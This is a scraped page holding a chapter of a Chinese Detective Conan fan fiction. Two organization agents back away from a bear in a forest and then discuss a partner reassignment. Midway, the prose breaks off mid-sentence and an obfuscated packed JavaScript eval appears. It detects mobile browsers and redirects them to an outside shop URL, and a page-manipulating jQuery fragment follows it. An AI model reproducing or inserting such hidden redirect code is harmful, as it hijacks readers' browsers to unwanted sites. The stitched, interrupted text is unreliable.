文趣网 > 都市小说 > [柯南]金毛室友总是不怀好意 > 14. 苏格兰的新搭档
    熊慢慢从灌木丛里挤出来。

    先是一个肩膀,枝条被它的身体推开,又弹回来,打在它厚实的皮毛上,它晃了晃脑袋。

    然后是整个身体。

    羽泽熙真屏住了呼吸。

    它的体型比电视上看到的那些熊要小一些,大概有一米多长,站起来的话可能比羽泽熙真矮一点。但它的身体很厚实,肩膀很宽,四条腿粗壮有力,每一步踩下去,爪子都会在落叶上按出深深的印痕。

    羽泽熙真看着它,慢慢地、慢慢地往后退了半步,挡在诸星大身前。

    他很小心,但落叶还是发出了细微的声响。

    熊的耳朵动了一下,偏了偏头,看着羽泽熙真,鼻子又翕动了两下,像在分辨空气中的某种气味。

    羽泽熙真不知道自己闻起来是什么味道。硝烟?洗发水?还是早上吃的三明治?他今天早上吃的是金枪鱼三明治,不知道熊喜不喜欢金枪鱼。

    不过那只死兔子还躺在树下,血的味道在空气里散开,被风送到了它的面前。对一只熊来说,那大概比任何东西都更有吸引力。

    “莱伊。”羽泽熙真几乎是在用气声说话,“你看到了吗?”

    “看到了。”诸星大幽幽开口,“你运气真好。”

    羽泽熙真觉得那应该不是夸奖。

    “什么意思?”

    “我在这儿练了一上午的枪,都没碰到它。”诸星大平静地说,“之前也从来没有过。”

    “你一来,它就来了。”

    羽泽熙真:“……”

    这个也能怪我吗?

    他张了张嘴,想说什么,又闭上了。

    说什么呢?说自己运气不好?说这是巧合?说对不起打扰了你平静的射击训练?

    每一句都显得很蠢。

    “抱歉,”他说,“可能我看起来更好吃一点吧。”

    诸星大没有回应。大概也觉得这句话不值得回应。

    羽泽熙真盯着那只熊,吞了一下口水。

    ——跑的话,能跑掉吗?

    他跑得是比一般人快,从小在组织里长大,体能训练是每天的必修课,跑步、攀爬、格斗、射击,每一项都是实打实的成绩。他记得自己八岁的时候被琴酒丢在山上跑了二十公里,跑完吐了一个小时。

    他的短跑成绩不错,但熊的短距离冲刺速度可以达到每小时五十公里,换算成百米大概是七秒多,比奥运会短跑冠军还快,他跑不过它。

    更何况,他还得带上个莱伊,总不能把人扔在这儿不管。

    打的话……

    他的后腰有一把枪。但熊的皮肉和脂肪很厚,9毫米的子弹打在身上,大概就像被针扎了一下,除非打到眼睛或者嘴巴里面,否则根本伤不到它。

    而且,打中了又怎样?

    一只受伤的熊比一只健康的熊更危险。它会被激怒,会用那几百公斤的身体冲过来,他见过那种惨状。到时候,他和莱伊都会变成肉饼。

    身后的诸星大动了动手指——轻轻地搭上了扳机护圈。他在准备射击。

    “别。”羽泽熙真按住他的手臂,“别动。”

    诸星大偏过头,看了他一眼。

    “你有更好的办法?”

    “没有。”羽泽熙真说,“但你别开枪。”

    “为什么?”

    “因为——”羽泽熙真盯着那只熊,“这里是组织的产业。打了要赔钱的。”

    “……你认真的?”

    “非常认真。”

    他不能确定诸星大的水平,但他能感觉到诸星大在紧张,谁也不知道这位狙击手在这种压力下的表现。

    熊的鼻子一直在翕动,从他们的方向慢慢转向树下的那团灰褐色。它的身体微微前倾,前爪在落叶上抓了一下,又收回去。

    它在犹豫。

    人不是熊的食物,除非它饿极了。现在是夏天,树林里有的是浆果、昆虫、小动物,它不需要冒险去攻击一个比自己还高的两足动物。

    “莱伊,它对兔子更感兴趣。”羽泽熙真轻声,“慢慢往后退。不要跑。不要看它的眼睛。”

    “好。”

    鸟已经不叫了。

    刚才还在头顶叽叽喳喳的那几只鸟,不知道什么时候飞走了。整个林子安静得像一座坟墓。

    他们开始往后退。一步,两步,三步。

    熊立在原地,看着他们后退,没什么反应。

    羽泽熙真又退了两步。

    这次和他一起后退的诸星大踩到了枯枝,“咔嚓”一声。

    羽泽熙真的心脏停跳了一拍。

    熊猛地抬头,嘴唇掀开,露出黄色的牙齿,每一颗都有成年人的手指那么长,上面沾着一点唾液。

    羽泽熙真握紧了枪柄,好在熊的嘴唇慢慢合上了。那双黑眼睛在两人身上扫过,又落回了树下。

    它抬起前爪,开始朝那只兔子走去。

    落叶在它脚下被踩碎,“嘎吱嘎吱”的,它向着他们原本的位置渐渐靠近,一边走一边嗅着地面。

    它找到了那只兔子。

    而羽泽熙真和诸星大已经退到了相对安全的距离,躲到一棵大树后面。

    羽泽熙真侧过身,从树干的边缘探出视线。

    不远处的熊低下了头,用鼻子拱了拱那只死兔子,然后把兔子叼了起来。

    随后它转身,慢慢地朝着树林深处走去。很快,它的背影很快就消失在灌木丛后面。枝叶晃了几下,不动了。

    树冠被风吹得沙沙作响,阳光洒落,鸟雀啁啾地叫了两声。

    一切恢复如常。

    羽泽熙真站在原地看着那丛灌木,过了半天才慢慢呼出一口气,松开按在诸星大手臂上的手。

    手指有点僵硬。他握了握拳,又松开。

    “它走了。”他说。

    他的后背有一层薄薄的汗,被风一吹,凉飕飕的。

    诸星大在他身后“嗯”了一声。

    “我们也走吧。”羽泽熙真转过身,“这里不太安全。”

    诸星大点了点头,跟着他往回走。

    他们一前一后,沿着来时的路走出树林。

    诸星大单手抱着狙击枪,另一只手从口袋里摸出一包烟,抖出一根叼在嘴里点燃,灰白色的烟雾被风吹散。

    一路无话。

    羽泽熙真又看到了那丛红色的小果子,一串一串的,红得发亮。和他来的时候一样,它们安安静静地挂在枝头,等着被鸟吃掉,或者等着腐烂。

    “你今天来找我,是为了苏格兰吧。”

    诸星大忽然开口了。

    羽泽熙真停下脚步,转过身。

    他原本都不打算问了。今天这一趟,见了人说了话,还碰到了熊,够本了。

    苏格兰的事嘛,以诸星大的性格,就算他问了,大概也只会得到一句“还好”或者“没什么”,和没说一样。

    但既然诸星大主动开口了——

    “嗯…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610301|205914||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …”羽泽熙真想了想,“其实是因为最近琴酒很看重你,让我有一点嫉妒呢。”

    诸星大:?

    诸星大挑眉:“所以,你是来做掉我的?”

    “开个玩笑。”羽泽熙真轻笑一声,“毕竟,最近和我朋友搭档的人是你,我总得认识一下吧——他的新搭档会是个怎样的人呢?我很好奇。”

    诸星大的眼神变了变。

    ——“朋友”吗?

    他静静地看着无意识地抓住脖颈间吊坠的羽泽熙真。那枚水滴形的透明宝石被捏在指间,来回摩挲着。

    这个人绝不仅仅是好奇那么简单。诸星大——同时也是FBI派来组织的卧底的探员赤井秀一这样想。

    在白兰地的描述中,清酒是个“有些特别”的组织成员,比大部分人都要难对付。意思是,不要轻易招惹他。

    而那双漂亮的金色眼睛,此刻正带着笑意望着自己。

    他是在试探,还是在警告?

    如果他今天见到的“莱伊”是个让他觉得不妙的人……比如他觉得会对苏格兰有威胁、不值得信任,或者这个人本身就不应该存在——

    诸星大总觉得为了防患于未然,清酒什么都做得出来。

    “苏格兰只是暂时和我搭档。”诸星大低头,弹了弹烟灰,“你不用太担心,我不会抢走他的。”

    “什么抢不抢……”

    羽泽熙真皱起眉:“我只是想知道,他怎么样?”

    “苏格兰是个不错的搭档。”诸星大答道,“执行任务时很专业,合作起来很顺利。”

    ……谁要问他这个啊。

    羽泽熙真叹气:“那就好。”

    他问的是“他怎么样”,不是“他作为搭档怎么样”。他想知道的是苏格兰最近有没有受伤,有没有遇到麻烦。

    但莱伊没懂。或者他懂了,但不想说。

    不说就算了。

    “对了,莱伊。”羽泽熙真说,“你之前见过波本吗?”

    “……谁?”

    “没什么。”

    羽泽熙真耸了耸肩,把手插回口袋里,朝树林外走去。

    莱伊这个人,到底是站哪边的?

    他没见过波本,不是朗姆那边的人吗……暂时还不能排除。

    虽然明面上莱伊是跟着琴酒的行动组,但羽泽熙真总感觉有哪里不太对劲。

    还有这个莫名其妙的搭档调动。

    要么是组织怀疑苏格兰,安排莱伊去试探他。要么是莱伊可能有问题,组织借着这个机会让苏格兰盯着。

    或者是因为莱伊刚拿到代号,组织对他不放心?

    而更麻烦的是——

    羽泽熙真推开A-7房间的门,看到了还躺在垫子上出神的安室透。

    “……你怎么还没起来。”

    “躺着挺舒服的。”安室透双手交叠放在腹部,“隔音也很好,关了窗完全听不到外面的声音。”

    “……”

    这个人,也很难说不是被派来监视自己的。

    苏格兰被调走,波本被调来。时间很巧合,这两件事之间,是否有一定的关联性?也许只是巧合。也许不是。

    “训练场有野外环境?”安室透有点好奇地开口,“你的鞋子上沾了很多泥土,是出去了吗?”

    “哦,那个啊……”

    羽泽熙真回过神来,低头看了看自己的鞋子。

    “是啊。”

    他讲述起刚刚的经历。